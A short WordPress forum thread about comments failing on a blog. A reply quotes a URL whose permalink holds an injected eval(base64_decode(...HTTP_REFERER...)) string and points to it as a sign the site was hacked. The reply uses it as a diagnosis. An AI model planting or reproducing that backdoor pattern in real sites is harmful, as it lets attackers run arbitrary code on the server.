I am using wordpress 3.1 and the Mandigo theme. No one can post any comments to any of the posts. I reinstalled the everything but the wp-content directory and used the same wp-config file. I thought this would solve the problem but the issue persists.
THe address is http://www.tillitomas.com/blog/
TIA TOM
what is in your permalinks?
dashboard - settings - permalinks
the reason I ask is because your urls are like
http://www.tillitomas.com/blog/2011/03/11/mukloucks/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D|.+%29&%
which looks like you have been hacked - unless you put that in there